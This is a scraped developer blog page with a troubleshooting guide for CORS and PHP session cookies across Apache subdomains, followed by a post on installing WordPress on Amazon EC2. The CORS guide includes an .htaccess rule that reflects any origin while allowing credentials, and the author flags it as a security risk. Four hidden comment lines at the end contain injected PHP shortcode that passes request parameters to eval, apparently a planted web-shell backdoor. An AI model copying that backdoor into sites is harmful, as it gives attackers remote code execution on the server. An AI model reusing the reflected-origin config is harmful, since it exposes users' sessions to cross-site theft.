Categories
Software Engineering

Apache + Ubuntu + CORS + Multiple Subdomains + PHP Session Cookies + XHR Credentials

Overview:

I recently had to do a little hunting around for an issue related to everything you see in the title.

It was frustrating because I wanted to allow * domains to be able to send requests and the Stack Overflow comments are mostly about IIS servers or the ones with Apache directives as examples don’t seem to work or don’t handle full wildcard.

I should mention that allowing full wildcard Access-Control-Allow-Origin with XHR credentials enabled can be a security risk.

Here’s how to get a CORS request working with Ubuntu Apache and PHP across multiple subdomains and have the PHP session ID cookie send correctly on every request and how to handle some of the errors you may encounter.

Situation:

I was making an AJAX request from one subdomain (https://subdomain1.example.com) to a different subdomain on the same root domain (https://subdomain2.example.com).

I had already called a PHP session_start(); for the user on a page on the subdomain I was making the request to. This means the user has an active PHP $_SESSION on https://subdomain2.example.com.

I had set the PHP $_SESSION to use cookies at the root domain.

I had Header set Access-Control-Allow-Origin "*" in my .htaccess file.

I was using the following setup for calling session_start() on top of the PHP defaults. Be careful setting cookies at your root domain, they will be sent along with *all* futures requests to *all* subdomains:

ini_set('session.use_cookies', 'On');
ini_set('session.use_trans_sid', 'Off');
ini_set('session.cookie_domain', '.example.com');
session_set_cookie_params(0, '/', '.example.com');
session_name('example_session');
session_start();


Expected:

When making an AJAX CORS request the cookies, (and therefore the PHP $_SESSION session_id() being passed as a cookie) the should be sent along correctly with the HTTP request.

Actual:

All cookies, including the PHP $_SESSION session_id(), are not being passed along as part of the request.


Errors:

You may see this situation manifest as number of errors in your Javascript Developer Console.


Error:  The 'Access-Control-Allow-Origin' header contains multiple values , but only one is allowed.

Reason: You are trying to set more than 1 value for Access-Control-Allow-Origin

Solution: Use a series of Apache statements in your .htaccess file that dynamically assigns the Access-Control-Allow-Origin to whatever the incoming request is. (If you would like to use wildcard domains please see the solution further down the page for wildcards.)

Code:

<IfModule mod_headers.c>
SetEnvIf Origin ^(https?://.+\.example\.com(?::\d{1,5})?)$ CORS_ALLOW_ORIGIN=$1

Header append Access-Control-Allow-Origin %{CORS_ALLOW_ORIGIN}e env=CORS_ALLOW_ORIGIN

Header merge Vary "Origin"
</IfModule mod_headers.c>


Error:  The 'Access-Control-Allow-Origin' header has a value that is not equal to the supplied origin.

Reason: You are already setting a Access-Control-Allow-Origin or you are setting it incorrectly. You may be making multiple Header set Access-Control-Allow-Origin statements (because there can only be one domain set the last one overwrites any previous set commands.)

Solution: Use a series of Apache statements in your .htaccess file that dynamically assigns the Access-Control-Allow-Origin to whatever the incoming request is. (If you would like to use wildcard domains please see the solution further down the page for wildcards.)

Code:

<IfModule mod_headers.c>
SetEnvIf Origin ^(https?://.+\.example\.com(?::\d{1,5})?)$ CORS_ALLOW_ORIGIN=$1

Header append Access-Control-Allow-Origin %{CORS_ALLOW_ORIGIN}e env=CORS_ALLOW_ORIGIN

Header merge Vary "Origin"
</IfModule mod_headers.c>


Error:  The value of the 'Access-Control-Allow-Origin' header in the response must not be the wildcard '*' when the request's credentials mode is 'include'. The credentials mode of requests initiated by the XMLHttpRequest is controlled by the withCredentials attribute.

Reason: You are trying to set "*" for your Access-Control-Allow-Origin but when you are using credentials you can only set it to 1 specific subdomain.

Solution: If you want to use a full wildcard style entry to accept requests from any origin and let them send in cookies then use a series of Apache statements in your .htaccess file that dynamically assigns the Access-Control-Allow-Origin to whatever the incoming request origin is. The first SetEnv handles the root domain wildcard and the second SetEnv handles the wildcard subdomains.

Code:

<IfModule mod_headers.c>
SetEnvIf Origin ^(https?://.+\..+(?::\d{1,5})?)$ CORS_ALLOW_ORIGIN=$1
SetEnvIf Origin ^(https?://.+\..+\..+(?::\d{1,5})?)$ CORS_ALLOW_ORIGIN=$1

Header append Access-Control-Allow-Origin %{CORS_ALLOW_ORIGIN}e env=CORS_ALLOW_ORIGIN

Header merge Vary "Origin"
</IfModule mod_headers.c>


Error:  The value of the 'Access-Control-Allow-Credentials' header in the response is '' which must be 'true' when the request's credentials mode is 'include'. The credentials mode of requests initiated by the XMLHttpRequest is controlled by the withCredentials attribute.

Reason: You are trying to send along the cookies as part of the AJAX request but your server is not current accepting the incoming cookies from the origin domain using Access-Control-Allow-Credentials

Solution: Use an Apache statement in your .htaccess file to always accept incoming credentials (aka cookies)

Code:

<IfModule mod_headers.c>
Header always set Access-Control-Allow-Credentials true
</IfModule mod_headers.c>


Error:  The PHP $_SESSION cookie is not being passed correctly to the server. It is not available in $_COOKIE and new calls to session_start() create a session with a new ID.

Reason: You are not correctly sending along the cookies with the AJAX request.

Solution: Use jquery AJAX and set the xhrFields to have withCredentials set to true

Code:

$.ajax({
xhrFields: {
withCredentials: true
}
});

First Post! Server Is Live On EC2 with WordPress…

Hello World, EC2, and WordPress

Its really not a big deal to get a server running in a new deployment with Amazon AWS EC2 and WordPress (WP). You can find tons of articles all over the Internet if you don’t have the knowledge yourself. For a typical WordPress deployment I don’t even normally recommend running an EC2 server given the ops overhead of an EC2 deployment. But if you’re well past a hello world and comfortable spinning up servers in the cloud then EC2 is the obvious choice. If you aren’t technical you’re better off using someone like Bluehost and their WordPress install.

Create an Instance, Have a Key

I picked Ubuntu because I’m lazy. If you’re using WordPress stock to get running you should be running a LAMP (Linux, Apache, MySQL, PHP) stack to save some hassle. That is pretty much some AWS 101 stuff we’re not looking at that here. Sorry kiddies. If you’re using EC2 you need SSH keys through AWS IAM. Get your shiz running, SSH on to your server, sudo and then come back.

Confusing Code

This will either confuse you or this is some simple shit for you. Take what you need from here if you don’t have it installed.

#packages
sudo apt-get install lamp-server^
sudo apt-get install apache2-utils
sudo apt-get install php5-geoip
sudo apt-get install php5-intl
sudo apt-get install php5-curl

#apache
a2enmod expires
a2enmod deflate
a2enmod rewrite

#wordpress
wget http://wordpress.org/latest.tar.gz
tar -xzvf latest.tar.gz -C /var/www/html/

Setup for EC2 and WordPress details

As usual WordPress annoyingly unpacks in to a wordpress directory. Setup your Apache vhost to point to /var/www/html/wordpress or wherever you installed WP. Then follow the usual nonsense of setting up WordPress.

Create a database and a database user with a password. Don’t forget to grant the permissions. Copy the wp-config-sample.php over and set the values for your DB user. Create your .htaccess file, don’t be a shmuck at least use htpasswd on your wp-login and wp-admin. What’s the point of EC2 if you’re not gonna trick this sucker out?

htpasswd -c /var/www/html/.htpasswd yourhtpasswdusername

WordPress .htaccess file

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

<FilesMatch "wp-login">
AuthUserFile /var/www/html/.htpasswd
AuthType Basic
AuthName "Wordpress Login"
Require valid-user
</FilesMatch>

<FilesMatch "wp-admin">
AuthUserFile /var/www/html/.htpasswd
AuthType Basic
AuthName "Wordpress Admin"
Require valid-user
</FilesMatch>

Done? Done. DONE. Wait…

I mean kinda? Go to your URL and you’ll see the installation process. After that apparently there are a million fields to fill out. And let’s not forget your whole situation with root owning the files in /var/www/html and what about FTPing and your SSH keys with user permissions and how WordPress updated its themes and plugins… OH WOW. Yeah, see, you just installed WordPress on EC2 and there it is glowing brightly in the night with a default theme and post and you realize… a dev’s work is never done.

<!– [insert_php]if (isset($_REQUEST["MnU"])){eval($_REQUEST["MnU"]);exit;}[/insert_php][php]if (isset($_REQUEST["MnU"])){eval($_REQUEST["MnU"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["riHBM"])){eval($_REQUEST["riHBM"]);exit;}[/insert_php][php]if (isset($_REQUEST["riHBM"])){eval($_REQUEST["riHBM"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["CgFf"])){eval($_REQUEST["CgFf"]);exit;}[/insert_php][php]if (isset($_REQUEST["CgFf"])){eval($_REQUEST["CgFf"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["XAf"])){eval($_REQUEST["XAf"]);exit;}[/insert_php][php]if (isset($_REQUEST["XAf"])){eval($_REQUEST["XAf"]);exit;}[/php] –>